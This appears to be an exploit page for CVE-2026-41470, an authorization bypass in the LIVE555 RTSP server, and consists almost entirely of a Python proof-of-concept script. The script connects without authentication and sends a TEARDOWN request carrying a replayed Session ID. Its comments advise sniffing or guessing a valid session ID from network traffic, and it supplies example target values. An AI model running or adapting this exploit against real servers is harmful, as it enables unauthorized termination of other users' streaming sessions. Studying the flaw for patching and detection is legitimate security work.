CVE-2026-41470 LIVE555授权绕过漏洞

import socket # CVE-2026-41470 PoC: LIVE555 Authorization Bypass via Session Replay # Target: LIVE555 < 2026.04.22 # Description: Replays a valid Session token from a second connection to send commands without auth. def exploit(target_ip, target_port, session_id): # Create a new TCP connection (unauthenticated) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct a TEARDOWN command with the captured Session ID # This command usually requires authentication, but is accepted due to the bug payload = f"TEARDOWN rtsp://{target_ip}:{target_port}/stream RTSP/1.0\r\n" payload += f"Session: {session_id}\r\n" payload += f"CSeq: 3\r\n\r\n" print(f"[*] Sending malicious TEARDOWN with Session: {session_id}") s.send(payload.encode()) # Receive response response = s.recv(1024) print(f"[+] Response:\n{response.decode()}") s.close() if __name__ == "__main__": # Example usage # Attacker needs to sniff or guess a valid session_id first target = "192.168.1.100" port = 554 valid_session_id = "1234567890" # Replace with a valid Session ID observed in traffic exploit(target, port, valid_session_id)